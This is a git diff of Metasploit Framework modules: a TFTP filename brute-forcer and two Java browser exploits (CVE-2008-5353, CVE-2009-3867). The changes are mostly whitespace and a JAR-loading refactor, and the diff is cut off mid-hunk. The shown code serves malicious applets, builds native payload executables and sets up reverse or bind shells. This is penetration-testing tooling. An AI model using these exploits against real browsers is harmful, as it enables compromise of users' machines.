diff --git a/modules/auxiliary/scanner/tftp/tftpbrute.rb b/modules/auxiliary/scanner/tftp/tftpbrute.rb
index 8263b53244..c105bfb257 100644
--- a/modules/auxiliary/scanner/tftp/tftpbrute.rb
+++ b/modules/auxiliary/scanner/tftp/tftpbrute.rb
@@ -28,7 +28,8 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
Opt::RPORT(69),
- OptPath.new('DICTIONARY', [ true, 'The list of filenames', File.join(Msf::Config.install_root, "data", "wordlists", "tftp.txt") ])
+ OptPath.new('DICTIONARY', [ true, 'The list of filenames',
+ File.join(Msf::Config.install_root, "data", "wordlists", "tftp.txt") ])
], self.class)
end
@@ -41,9 +42,9 @@ class Metasploit3 < Msf::Auxiliary
{
'Msf' => framework,
'MsfExploit' => self,
- }
+ }
)
-
+
fd = File.open(datastore['DICTIONARY'], 'r')
fd.read(fd.stat.size).split("\n").each do |filename|
filename.strip!
diff --git a/modules/exploits/multi/browser/java_calendar_deserialize.rb b/modules/exploits/multi/browser/java_calendar_deserialize.rb
index b2fff27809..0fa5934290 100644
--- a/modules/exploits/multi/browser/java_calendar_deserialize.rb
+++ b/modules/exploits/multi/browser/java_calendar_deserialize.rb
@@ -1,5 +1,9 @@
##
-# This file is part of the Metasploit Framework and may be subject to
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
@@ -12,37 +16,37 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
-
+
def initialize( info = {} )
-
+
super( update_info( info,
- 'Name' => 'Sun Java Calendar Deserialization Exploit',
- 'Description' => %q{
+ 'Name' => 'Sun Java Calendar Deserialization Exploit',
+ 'Description' => %q{
This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM.
-
- The payload can be either a native payload which is generated as an executable and
+
+ The payload can be either a native payload which is generated as an executable and
dropped/executed on the target or a shell from within the Java applet in the target browser.
-
+
The affected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16
and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected).
},
- 'License' => MSF_LICENSE,
- 'Author' => [ 'sf', 'hdm' ],
- 'Version' => '1',
- 'References' =>
+ 'License' => MSF_LICENSE,
+ 'Author' => [ 'sf', 'hdm' ],
+ 'Version' => '$Revision$',
+ 'References' =>
[
[ 'CVE', '2008-5353' ],
[ 'OSVDB', '50500'],
[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html' ],
[ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ],
[ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ],
- [ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-244991-1' ]
+ [ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-244991-1' ]
],
- 'Platform' => [ 'win', 'osx', 'linux', 'solaris' ],
- 'Payload' => { 'Space' => 2048, 'BadChars' => '', 'DisableNops' => true },
- 'Targets' =>
+ 'Platform' => [ 'win', 'osx', 'linux', 'solaris' ],
+ 'Payload' => { 'Space' => 2048, 'BadChars' => '', 'DisableNops' => true },
+ 'Targets' =>
[
- [ 'Generic (Java Payload)',
+ [ 'Generic (Java Payload)',
{
# This is a bad hack to force only the generic/shell_bind_tcp and generic/shell_reverse_tcp payloads
'Platform' => ['win'],
@@ -50,36 +54,47 @@ class Metasploit3 < Msf::Exploit::Remote
'Arch' => ARCH_CMD,
}
],
- [ 'Windows x86 (Native Payload)',
+ [ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
- [ 'Mac OS X PPC (Native Payload)',
+ [ 'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
}
],
- [ 'Mac OS X x86 (Native Payload)',
+ [ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
],
- [ 'Linux x86 (Native Payload)',
+ [ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
- 'Arch' => ARCH_X86,
+ 'Arch' => ARCH_X86,
}
],
],
- 'DefaultTarget' => 0
+ 'DefaultTarget' => 0
))
end
+ def exploit
+ # load the static jar file
+ path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2008-5353.jar" )
+ fd = File.open( path, "rb" )
+ @jar_data = fd.read(fd.stat.size)
+ fd.close
+
+ super
+ end
+
+
def on_request_uri( cli, request )
data = nil
host = nil
@@ -90,15 +105,15 @@ class Metasploit3 < Msf::Exploit::Remote
send_redirect( cli, get_resource() + '/', '')
return
end
-
+
print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )
-
+
payload = regenerate_payload( cli )
if not payload
print_status( "Failed to generate the payload." )
return
end
-
+
if target.name == 'Generic (Java Payload)'
if datastore['LHOST']
host = datastore['LHOST']
@@ -110,15 +125,15 @@ class Metasploit3 < Msf::Exploit::Remote
print_status( "Payload will be a Java bind shell on #{cli.peerhost}:#{port}..." )
end
else
-
+
if target['Arch'] == ARCH_X86
data = Msf::Util::EXE.to_win32pe( framework, payload.encoded ) if target['Platform'] == 'win'
- data = Msf::Util::EXE.to_osx_x86_macho( framework, payload.encoded ) if target['Platform'] == 'osx'
+ data = Msf::Util::EXE.to_osx_x86_macho( framework, payload.encoded ) if target['Platform'] == 'osx'
data = Msf::Util::EXE.to_linux_x86_elf( framework, payload.encoded ) if target['Platform'] == 'linux'
elsif target['Arch'] == ARCH_PPC
data = Msf::Util::EXE.to_osx_ppc_macho( framework, payload.encoded ) if target['Platform'] == 'osx'
end
-
+
if data
print_status( "Generated executable to drop (#{data.length} bytes)." )
data = Rex::Text.to_hex( data, prefix="" )
@@ -126,19 +141,19 @@ class Metasploit3 < Msf::Exploit::Remote
print_status( "Failed to generate the executable." )
return
end
-
+
end
-
- send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } )
+
+ send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } )
return
end
-
- print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )
+
+ print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
handler( cli )
end
-
+
def generate_html( data, host, port )
html = "Loading, Please Wait..."
html += "Loading, Please Wait...
"
@@ -149,13 +164,9 @@ class Metasploit3 < Msf::Exploit::Remote
html += ""
return html
end
-
+
def generate_jar()
- path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2008-5353.jar" )
- fd = File.open( path, "rb" )
- data = fd.read(fd.stat.size)
- fd.close
- return data
+ return @jar_data
end
-
+
end
diff --git a/modules/exploits/multi/browser/java_getsoundbank_bof.rb b/modules/exploits/multi/browser/java_getsoundbank_bof.rb
index 4fcaf0ab88..7776108f31 100644
--- a/modules/exploits/multi/browser/java_getsoundbank_bof.rb
+++ b/modules/exploits/multi/browser/java_getsoundbank_bof.rb
@@ -3,7 +3,7 @@
##
##
-# This file is part of the Metasploit Framework and may be subject to
+# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
@@ -14,7 +14,7 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
- Rank = ExcellentRanking
+ Rank = GreatRanking
#
# This module acts as an HTTP server
@@ -26,25 +26,25 @@ class Metasploit3 < Msf::Exploit::Remote
'Name' => 'Sun Java JRE getSoundbank file:// URI Buffer Overflow',
'Description' => %q{
This module exploits a flaw in the getSoundbank function in the Sun JVM.
-
+
The payload is serialized and passed to the applet via PARAM tags. It must be
a native payload.
-
- The effected Java versions are JDK and JRE 6 Update 16 and earlier,
- JDK and JRE 5.0 Update 21 and earlier, SDK and JRE 1.4.2_23 and
+
+ The effected Java versions are JDK and JRE 6 Update 16 and earlier,
+ JDK and JRE 5.0 Update 21 and earlier, SDK and JRE 1.4.2_23 and
earlier, and SDK and JRE 1.3.1_26 and earlier.
-
+
NOTE: Although all of the above versions are reportedly vulnerable, only
1.6.0_u11 and 1.6.0_u16 on Windows XP SP3 were tested.
},
'License' => MSF_LICENSE,
- 'Author' =>
+ 'Author' =>
[
'kf', # Original PoC/exploit
'jduck' # metasploit version
],
'Version' => '$Revision$',
- 'References' =>
+ 'References' =>
[
[ 'CVE', '2009-3867' ],
[ 'OSVDB', '59711' ],
@@ -70,19 +70,19 @@ No automatic targetting for now ...
}
],
=end
- [ 'J2SE 1.6_16 on Windows x86',
+ [ 'J2SE 1.6_16 on Windows x86',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
- [ 'J2SE 1.6_16 on Mac OS X PPC',
+ [ 'J2SE 1.6_16 on Mac OS X PPC',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
}
],
- [ 'J2SE 1.6_16 on Mac OS X x86',
+ [ 'J2SE 1.6_16 on Mac OS X x86',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
@@ -93,23 +93,34 @@ No automatic targetting for now ...
'DisclosureDate' => 'Nov 04 2009'
))
end
-
-
+
+
+ def exploit
+ # load the static jar
+ path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2009-3867.jar")
+ fd = File.open(path, "rb")
+ @jar_data = fd.read(fd.stat.size)
+ fd.close
+
+ super
+ end
+
+
def on_request_uri(cli, req)
-
+
# Create a cached mapping between IP and detected target
@targetcache ||= {}
@targetcache[cli.peerhost] ||= {}
@targetcache[cli.peerhost][:update] = Time.now.to_i
- if (target.name =~ /Automatic/)
+ if (target.name =~ /Automatic/)
case req.headers['User-Agent']
when /Windows/i
print_status("Choosing a Windows target for #{cli.peerhost}:#{cli.peerport}...")
@targetcache[cli.peerhost][:target] = self.targets[1]
when /PPC Mac OS X/i
print_status("Choosing a Mac OS X PPC target for #{cli.peerhost}:#{cli.peerport}...")
- @targetcache[cli.peerhost][:target] = self.targets[2]
+ @targetcache[cli.peerhost][:target] = self.targets[2]
when /Intel Mac OS X/i
print_status("Choosing a Mac OS X x86 target for #{cli.peerhost}:#{cli.peerport}...")
@targetcache[cli.peerhost][:target] = self.targets[3]
@@ -118,27 +129,27 @@ No automatic targetting for now ...
end
end
- # Clean the cache
+ # Clean the cache
rmq = []
@targetcache.each_key do |addr|
if (Time.now.to_i > @targetcache[addr][:update]+60)
rmq.push addr
end
end
-
+
rmq.each {|addr| @targetcache.delete(addr) }
-
-
+
+
# Request processing
if (not req.uri.match(/\.jar$/i))
-
+
# Redirect to the base directory so the applet code loads...
if (not req.uri.match(/\/$/))
print_status("Sending redirect so path ends with / ...")
send_redirect(cli, get_resource() + '/', '')
return
end
-
+
# Display the applet loading HTML
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, generate_html(payload.encoded),
@@ -148,10 +159,10 @@ No automatic targetting for now ...
})
return
end
-
+
# Send the actual applet over
print_status("Sending applet to #{cli.peerhost}:#{cli.peerport}...")
- send_response(cli, generate_applet(cli, req),
+ send_response(cli, generate_applet(cli, req),
{
'Content-Type' => 'application/octet-stream',
'Pragma' => 'no-cache'
@@ -169,14 +180,18 @@ No automatic targetting for now ...
-